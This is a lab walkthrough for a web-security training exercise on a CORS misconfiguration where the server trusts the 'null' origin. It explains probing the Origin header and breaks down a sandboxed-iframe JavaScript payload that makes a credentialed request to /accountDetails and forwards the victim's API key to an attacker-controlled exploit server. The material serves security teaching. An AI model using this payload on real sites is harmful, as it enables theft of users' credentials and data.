CORS vulnerability with trusted null origin

Lab Description

Walkthrough

Step 1: Understand the Response and Environment

After logging in with the provided credentials (wiener:peter), you navigate to /accountDetails. This endpoint reveals:

• The current user's username, email, and API key in the JSON response.

• The presence of Access-Control-Allow-Credentials: true in the HTTP headers, which means the server allows requests that include cookies.

Question to Ask: Why is Access-Control-Allow-Credentials significant?

• It implies that the server is designed to trust and process cross-origin requests that include authentication credentials. If the origin validation is flawed, this becomes a vector for attacks.

Step 2: Test the Origin Header

The server determines whether to process cross-origin requests based on the Origin header. Testing the header allows us to identify whether:

• The server validates origins properly.

• There is an insecure origin that can be exploited.

Experimentation:

1. Try sending requests with various Origin values, such as:

   • https://evil.com (an arbitrary external domain).

   • null (commonly used in sandboxed environments like iframes).

Observations:

• Requests with https://evil.com are rejected (as expected).

• Requests with null are accepted and reflected in the Access-Control-Allow-Origin header.

Inference: The server improperly trusts null as a valid origin. This is exploitable because many sandboxed environments (e.g., iframes, files loaded locally) use null as their origin.

Test the Origin Header:

• Add an Origin: null header to the request.

• Observe that the server accepts the null origin and reflects it in the response headers.

Step 3: Exploiting the Null Origin

Once we confirm that the server trusts null, the thought process shifts to how to weaponize this trust. We need to:

• Trick the victim (administrator) into executing a malicious script.

• Use their authenticated session to extract the API key.

1. Sends a request to /accountDetails with withCredentials enabled, leveraging their cookies.

2. Redirects the response (containing sensitive data) to an attacker-controlled server.

Crafting the Payload: Building the Exploit

The payload is designed to:

1. Create a CORS request from a sandboxed environment (e.g., an iframe).

2. Steal sensitive information by redirecting it to an attacker-controlled endpoint.

Code Breakdown

• <iframe sandbox="allow-scripts allow-top-navigation allow-forms">

  • Creates a sandboxed <iframe> to host and execute the malicious script.

  • The sandbox is configured with permissions to allow:

    • allow-scripts: Enables running scripts inside the iframe.

    • allow-top-navigation: Allows the script to redirect the top-level window.

    • allow-forms: Enables form submission, though not used in this case.

• srcdoc="<script>...</script>"

  • The srcdoc attribute embeds the malicious JavaScript directly within the iframe's HTML content.

• JavaScript Code:

  • var req = new XMLHttpRequest();

    • Initializes an XMLHttpRequest object to send a malicious HTTP request.

  • req.onload = reqListener;

    • Defines a function (reqListener) to execute when the HTTP request completes.

  • req.open('get', 'YOUR-LAB-ID.web-security-academy.net/accountDetails', true);

    • Opens a GET request to the vulnerable endpoint (/accountDetails) on the target website.

  • req.withCredentials = true;

    • Includes the victim's session credentials (e.g., cookies) in the request, impersonating the victim.

  • req.send();

    • Sends the HTTP request to fetch sensitive account data.

  • function reqListener() { location = 'YOUR-EXPLOIT-SERVER-ID.exploit-server.net/log?key=' + encodeURIComponent(this.responseText); }

    • When the response is received:

      • It redirects the victim's browser to the attacker-controlled server (YOUR-EXPLOIT-SERVER-ID.exploit-server.net), sending the stolen data (this.responseText) as a URL parameter.

Step 3: Delivering the Payload

1. Send the exploit through the exploit server to the victim (administrator) and wait for them to visit it.

Step 4: Verifying the Attack

Once the administrator accesses the malicious payload:

1. The /accountDetails endpoint is accessed using their session.

2. The response (including the API key) is sent to the exploit server.

3. The exploit server logs reveal requests from the administrator’s IP, including their API key.

Post-Exploit Analysis: Decoding the captured data confirms the API key was successfully exfiltrated. Submitting this API key completes the lab.